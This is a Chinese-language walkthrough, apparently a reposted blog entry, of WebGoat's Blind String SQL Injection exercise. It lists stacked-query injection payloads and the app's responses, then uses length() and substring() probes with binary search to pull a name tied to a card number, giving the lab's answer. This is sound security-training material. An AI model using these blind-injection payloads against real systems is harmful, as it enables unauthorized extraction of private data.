Blind SQL injection sample

来源:互联网 发布:淘宝打折活动名称 编辑:程序博客网 时间:2024/05/18 00:44

WebGoat中的Blind Numeric SQL Injection 和 Blind String SQL Injection 两个例子。

下面说明Blind String SQL Injection的测试方法:


1)分析两个例子发现:数据库出错时的具体信息被屏蔽,只能通过一些测试判断查询的内容是否正确或者错误或者语法错误。

输入:101

输出:Account number is valid


输入:101;select * from pins where 1=0

输出:Invalid account number


输入:101;select * from pins where 1=1

输出:Account number is valid

输入:101;select * from pins where '1=1

输出:

An error occurred, please try again.

Unexpected end of command in statement [select * from pins where ']

可以看出对连续执行两个SQL语句,当两者都返回true时,才会返回Account number is valid;其中一个返回false,则返回Invalid account number;如果语法错误,则会返回An error occurred, please try again。


2)获取name的长度

根据题目要求:

The goal is to find the value of the field name in tablepins for the row with the cc_number of 4321432143214321. The field is of type varchar, which is a string.

需要获取cc_number=4321432143214321处的name值,简单翻译下:select name from pins where cc_number=4321432143214321


但是,程序仅能返回三种状态,不能直接显示查询获取的结果,那么要获取name的值,就需要借助一些函数:length / substring /like /ASCII等

首先,我们需要获取name的长度,那么可以构造:101; select * from pins where cc_number=4321432143214321 and length(name)=N  (N=1-9之间)

经过测试发现name的长度为4 。(当然,可以引入二分查找的方法)


3)逐个获取name的值

要获取name某个位置的具体值,需要借助substring函数

101;select * from pins where cc_number=4321432143214321 and substring(name,1,1)='$' ($ 为 ‘1’-‘9’ 、‘a' -'z'、'A'-'Z'三者间的一个)

要是手动一个个字符去试就太麻烦了,必须引进二分查找方法:

101;select * from pins where cc_number=4321432143214321 and (substring(name,1,1)>='A'  and  substring(name,1,1)<='Z' )

判断第一个字符为三个范围中的哪个后,再将区间缩小一半,就可以较快的确定在一个字符上。

然后在修改substring的第二个参数为2、3、4逐个获取字符

4)可以测出name为Jill


注:在测试过程中,在发现了有效的字符后可以搜搜常用的名字,直接测试是否正确;如在发现了Jil三个字符后,google Jil 发现有Jill的提示,果断测试l的可能性,发现OK通过。



0 0
原创粉丝点击